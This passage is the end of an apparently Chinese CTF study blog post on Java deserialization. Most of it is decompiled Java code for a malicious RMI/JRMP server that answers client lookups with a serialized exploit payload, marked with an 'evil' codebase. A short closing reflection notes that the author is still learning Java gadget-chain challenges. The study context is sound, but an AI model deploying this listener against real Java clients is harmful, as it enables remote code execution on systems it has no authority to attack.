                                            out.flush();
                                            in.readUTF();
                                            in.readInt();
                                        case 76:
                                            this.doMessage(s, in, out);
                                            bufOut.flush();
                                            out.flush();
                                            break;
                                        case 77:
                                        default:
                                            log.info("[RMI Server] Unsupported protocol");
                                            s.close();
                                    }
                                } catch (Throwable var88) {
                                    var12 = var88;
                                    throw var88;
                                } finally {
                                    if (out != null) {
                                        if (var12 != null) {
                                            try {
                                                out.close();
                                            } catch (Throwable var87) {
                                                var12.addSuppressed(var87);
                                            }
                                        } else {
                                            out.close();
                                        }
                                    }

                                }
                            } else {
                                s.close();
                            }
                        } catch (Throwable var90) {
                            var6 = var90;
                            throw var90;
                        } finally {
                            if (in != null) {
                                if (var6 != null) {
                                    try {
                                        in.close();
                                    } catch (Throwable var86) {
                                        var6.addSuppressed(var86);
                                    }
                                } else {
                                    in.close();
                                }
                            }

                        }
                    } catch (InterruptedException var92) {
                        return;
                    } catch (Exception e) {
                        e.printStackTrace(System.err);
                    } finally {
                        log.info("[RMI Server] Closing connection");
                        s.close();
                    }
                }

                return;
            } finally {
                if (s != null) {
                    s.close();
                }

                if (this.ss != null) {
                    this.ss.close();
                }

            }
        } catch (SocketException var96) {
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }

    }

    private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
        log.info("[RMI Server] Reading message...");
        int op = in.read();
        switch (op) {
            case 80:
                this.doCall(s, in, out);
                break;
            case 81:
            case 83:
            default:
                throw new IOException("unknown transport op " + op);
            case 82:
                out.writeByte(83);
                break;
            case 84:
                UID.read(in);
        }

        s.close();
    }

    private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {
            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
                if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                    return ObjID[].class;
                } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                    return ObjID.class;
                } else if ("java.rmi.server.UID".equals(desc.getName())) {
                    return UID.class;
                } else if ("java.lang.String".equals(desc.getName())) {
                    return String.class;
                } else {
                    throw new IOException("Not allowed to read object");
                }
            }
        };

        ObjID read;
        try {
            read = ObjID.read(ois);
        } catch (IOException e) {
            throw new MarshalException("unable to read objID", e);
        }

        if (read.hashCode() == 2) {
            handleDGC(ois);
        } else if (read.hashCode() == 0) {
            if (this.handleRMI(s, ois, out)) {
                this.hadConnection = true;
                synchronized(this.waitLock) {
                    this.waitLock.notifyAll();
                    return;
                }
            }

            s.close();
        }

    }

    private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception {
        int method = ois.readInt();
        ois.readLong();
        if (method != 2) {
            return false;
        } else {
            String object = (String)ois.readObject();
            out.writeByte(81);

            Object obj;
            try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) {
                oos.writeByte(1);
                (new UID()).write(oos);
                String path = "/" + object;
                log.info("[RMI Server] Send payloadData for " + path);
                new Object();
                obj = PayloadGenerator.getPayload();//替换为序列化数据
                oos.writeObject(obj);
                oos.flush();
                out.flush();
                return true;
            }
        }
    }
    private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.readInt();
        ois.readLong();
    }
    static final class MarshalOutputStream extends ObjectOutputStream {
        private String sendUrl;

        public MarshalOutputStream(OutputStream out, String u) throws IOException {
            super(out);
            this.sendUrl = u;
        }

        MarshalOutputStream(OutputStream out) throws IOException {
            super(out);
        }

        protected void annotateClass(Class<?> cl) throws IOException {
            if (this.sendUrl != null) {
                this.writeObject(this.sendUrl);
            } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
                this.writeObject((Object)null);
            } else {
                URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs();
                String cb = "";

                for(URL u : us) {
                    cb = cb + u.toString();
                }

                this.writeObject(cb);
            }

        }

        protected void annotateProxyClass(Class<?> cl) throws IOException {
            this.annotateClass(cl);
        }
    }


}

Something Else

上面 java 的内容都是跟着大佬的文章和 wp 来的,其实能感觉到自己对这些东西的理解还不是很深,每次做到 java 链子题的时候都一直不敢尝试,当然也有对搭环境也比较陌生等等原因。不过也确实在一点点学习中,希望早日能够量变产生质变,把 java 这一块的思维方式搞清楚

posted @ 2025-11-04 18:01  xNftrOne  阅读(295)  评论(0)    收藏  举报